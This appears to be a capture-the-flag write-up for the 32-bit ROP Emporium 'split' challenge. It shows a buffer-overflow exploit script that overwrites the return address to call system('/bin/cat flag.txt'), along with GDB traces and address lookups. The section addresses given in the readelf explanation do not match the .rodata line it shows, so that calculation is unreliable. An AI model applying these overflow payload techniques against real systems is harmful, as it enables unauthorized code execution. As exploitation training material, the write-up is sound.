Post

ROP Emporium - split

ROP Emporium - split

The binary includes a hidden useful string "/bin/cat flag.txt" and a call to system(). Your task is to build a ROP chain to call system() with that string to get the flag. This challenge introduces you to Return-Oriented Programming (ROP) and teaches you how to call existing functions in a binary by exploiting a simple buffer overflow.

x86 (split32)

Here’s the decompiled main function from IDA:

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts("split by ROP Emporium");
  puts("x86\n");
  pwnme();
  puts("\nExiting");
  return 0;
}

The program just prints some text and then calls the pwnme function, where user interaction happens.

Decompilation of pwnme:

1
2
3
4
5
6
7
8
9
10
int pwnme()
{
  _BYTE s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0, s, 0x60u);
  return puts("Thank you!");
}
  • The program reads 96 bytes (0x60) into a buffer s that is only 40 bytes large.
  • This leads to a classic buffer overflow vulnerability.

As we’ve seen in earlier challenges, after filling 40 bytes of buffer space, we overwrite EBP (the saved base pointer), followed by the return address (EIP). Same offset we have in this case ;)

We can verify that -

1
2
3
4
5
6
7
8
#!/usr/bin/python3
import sys

payload = b'A'*40
payload += b'B'*0x4 # RBP
payload += b'C'*0x4 # RIP

sys.stdout.buffer.write(payload)
1
./exp.py > exp.txt

We can verify our calculation in GDB -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb ./split32 
pwndbg> r < exp.txt 

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────
 EAX  0xb
 EBX  0xf7f90000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
 ECX  0xf7f919b4 (_IO_stdfile_1_lock) ◂— 0
 EDX  1
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0xffffd5d4 —▸ 0xffffd7a8 ◂— '/home/fury/Desktop/Challs/CTF/pwn/rop_emporium/2-split/1-32bit/split32'
 EBP  0x42424242 ('BBBB')
 ESP  0xffffd500 ◂— 1
 EIP  0x43434343 ('CCCC')
─────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────
Invalid address 0x43434343

If you’re finding it difficult to fully grasp how offset calculation works with cyclic patterns, don’t worry! I’ve covered this topic in detail in an earlier blog post, where I explain step by step how to:

  • Generate cyclic patterns.
  • Calculate the exact offset.

👉 You can refer to that blog here: How to Use Cyclic Patterns for Offset Calculation

We need to call system() to execute /bin/cat flag.txt. But before we proceed, let’s briefly understand how a function call works in x86, because this process is architecture-dependent — or more specifically, depends on the ABI (Application Binary Interface) used by the binary.

How Function Calls Work in x86 (32-bit)

In x86 (32-bit) binaries, most function calls follow the cdecl calling convention, which is the default in many C programs on Linux.

Here’s how it works:

  1. Arguments are passed on the stack in reverse order (right-to-left).
  2. The caller (the function making the call) is responsible for cleaning the stack after the call.
  3. The return address is automatically pushed onto the stack by the call instruction.
  4. The function retrieves arguments from the stack relative to the base pointer (EBP).

Here’s how the stack would look right before calling system():

| Padding (Overflow)                |
| system() address (EIP)            | <-- Overwrite EIP (redirect execution)
| Dummy Return Address              | <-- After system() returns (not important here)
| Address of "/bin/cat flag.txt"    | <-- Argument to system()

Here is a simple C program that will help you better understand how function calls work and how arguments are passed on the stack in x86 (32-bit) systems:

demo.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

void myfunc(int a, int b, int c, int d) {
    printf("a = 0x%x\n", a);
    printf("b = 0x%x\n", b);
    printf("c = 0x%x\n", c);
    printf("d = 0x%x\n", d);
}

int main() {
    myfunc(0xdead, 0xbeef, 0xcafe, 0xbabe);
    return 0;
}

Compile and Run

1
2
3
4
5
6
gcc demo.c -m32 -o demo
./demo
a = 0xdead
b = 0xbeef
c = 0xcafe
d = 0xbabe

Let’s load the binary in GDB and set a breakpoint at myfunc:

1
gdb ./demo

Inside GDB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> disass main
Dump of assembler code for function main:
   0x56556209 <+0>:	lea    ecx,[esp+0x4]
#...
   0x56556233 <+42>:	push   0xdead
   0x56556238 <+47>:	call   0x5655619d <myfunc>
   0x5655623d <+52>:	add    esp,0x10
#...
pwndbg> disass myfunc 
Dump of assembler code for function myfunc:
   0x0000119d <+0>:	push   ebp
   0x0000119e <+1>:	mov    ebp,esp
pwndbg> b *myfunc 
Breakpoint 1 at 0x119d
pwndbg> run

NOTE After calling myfunc, the program will return to 0x5655623d.

Once the breakpoint at myfunc hits, we can inspect the stack:

1
2
3
4
5
6
7
pwndbg> stack 6
00:0000│ esp 0xffffd4ec —▸ 0x5655623d (main+52) ◂— add esp, 0x10
01:0004│-018 0xffffd4f0 ◂— 0xdead
02:0008│-014 0xffffd4f4 ◂— 0xbeef
03:000c│-010 0xffffd4f8 ◂— 0xcafe
04:0010│-00c 0xffffd4fc ◂— 0xbabe
05:0014│-008 0xffffd500 ◂— 1
Stack EntryDescription
0x5655623dReturn address — where execution returns after myfunc finishes.
0xdead1st argument (a) — passed to myfunc.
0xbeef2nd argument (b).
0xcafe3rd argument (c).
0xbabe4th argument (d).

Now, I Guess the Picture Is Clear!

By now, the stack structure and argument passing mechanism should be clear.

Next, we need to find the address of the string /bin/cat flag.txt inside the binary. This string is already present in the binary, as hinted in the challenge description.

We can easily locate it using the strings command:

1
2
strings -a -t x split32  | grep flag
   1030 /bin/cat flag.txt

Here’s what’s happening:

  • -a: Scan the entire binary, including non-printable sections.
  • -t x: Show the offset in hexadecimal.

At first glance, it might seem like 0x1030 is the address of the string.
However, that number is not a memory address—it’s just the file offset where the string exists inside the binary on disk.

When the program runs, the operating system loads parts of the binary (called sections) into memory at specific virtual addresses defined in the ELF headers.

We can check the ELF sections using readelf:

1
2
3
4
readelf --sections split32
# ...
  [16] .rodata           PROGBITS        080486a8 0006a8 00006e 00   A  0   0  4
# ...

Here:

  • Virtual Address: 0x0804a000
  • File Offset: 0x1000

Our string was found by strings at file offset 0x1030.

We can calculate the offset within the .rodata section:

0x1030 - 0x1000 = 0x30

Then we will add this offset to the virtual address of .rodata:

0x0804a000 + 0x30 = 0x0804a030

This gave us the correct runtime memory address: 0x0804a030.

So anything inside this section can be addressed by:

Virtual Address = Section Base Address + (String File Offset - Section File Offset)

Okay, I know calculating addresses manually using readelf and offsets might feel boring.

But let’s be honest—there’s an easier (and faster) way to get the exact address!

You can simply use GDB (with pwndbg) or tools like IDA to locate the string directly in memory.

1
2
3
4
5
6
gdb ./split32
pwndbg> b main
pwndbg> run
pwndbg> search -t string "/bin/cat flag.txt"
Searching for string: b'/bin/cat flag.txt\x00'
split32         0x804a030 '/bin/cat flag.txt'

We can easily get the address of system using GDB or objdump

1
2
pwndbg> p system
$1 = {<text variable, no debug info>} 0x80483e0 <system@plt>

This shows that the address of system in the binary is 0x080483e0.

At this point, you don’t need to worry about what PLT means if you’re unfamiliar with it—we’ll cover it in detail later. For now, just remember that this is the correct address we can use to call system() in our exploit.

Alternatively, you can use objdump to disassemble the binary and grep for system:

1
2
3
objdump -d split32 | grep system
080483e0 <system@plt>:
 804861a:	e8 c1 fd ff ff       	call   80483e0 <system@plt>

Use the following exploit -

TIP

When crafting exploits for x86 (32-bit) binaries, remember that addresses need to be written in little-endian format (least significant byte first).

You can easily do this in Python using struct.pack:

1
2
import struct
print(struct.pack("<I", 0xdeadbeef))
  • "<I" means little-endian unsigned integer (4 bytes).
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3
import sys
import struct

payload = b'A' * 40                     # Padding to overflow buffer (40 bytes)
payload += b'B' * 4                     # Overwrite saved EBP (optional placeholder)
payload += struct.pack("<I", 0x80483e0) # Address of system() function
payload += struct.pack("<I", 0xdeadbeef) # Dummy return address (won't be used)
payload += struct.pack("<I", 0x804a030)  # Address of "/bin/cat flag.txt" string (argument for system)

sys.stdout.buffer.write(payload)

1
2
3
4
5
6
7
8
9
10
./exp.py > exp.txt
cat exp.txt | ./split32 
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

When we run our exploit, we’re calling system(), which internally creates a child process (like spawning /bin/sh or executing a command).

By default, GDB follows the child process when a fork happens.

Here’s how you can do that in GDB:

1
2
pwndbg> set follow-fork-mode parent 
pwndbg> r < exp.txt 

This way, after system() runs, GDB won’t follow the child process (like /bin/cat), and you’ll remain inside the parent program to see exactly where it returns.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────
 EAX  0
 EBX  0xf7f90000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
 ECX  0xffffd204 ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0xffffd5d4 —▸ 0xffffd7a8 ◂— '/home/fury/Desktop/Challs/CTF/pwn/rop_emporium/2-split/1-32bit/split32'
 EBP  0x42424242 ('BBBB')
 ESP  0xffffd504 —▸ 0x804a030 (usefulString) ◂— '/bin/cat flag.txt'
 EIP  0xdeadbeef
─────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────
Invalid address 0xdeadbeef

When we run our exploit under GDB, after successfully executing system("/bin/cat flag.txt"), we see a segmentation fault. After system() finishes executing the command, it tries to return to the address we placed on the stack—in this case, 0xdeadbeef.
Since this isn’t a valid memory address, the program crashes with a segmentation fault when it tries to execute code at that address.

This post is licensed under CC BY 4.0 by the author.